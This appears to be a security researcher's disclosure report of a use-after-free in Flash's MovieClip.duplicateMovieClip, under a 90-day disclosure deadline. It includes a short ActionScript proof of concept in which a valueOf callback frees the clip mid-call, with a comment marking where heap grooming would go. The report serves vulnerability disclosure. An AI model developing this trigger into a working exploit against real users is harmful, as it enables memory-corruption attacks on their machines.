There is a use-after-free in MovieClip.duplicateMovieClip. If the depth or movie name parameter provided is an object with toString or valueOf defined, this method can free the MovieClip, which is then used. 

A minimal PoC follows:


this.createEmptyMovieClip("mc", 1);

mc.duplicateMovieClip( "mc",{valueOf : func});


function func(){
	
	trace("in func");
	mc.removeMovieClip();

        // Fix heap here

	return 5;
	
	}
	
	
A sample swf and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 

duplicate2.fla 5.0 KB Download

duplicate2.swf 928 bytes Download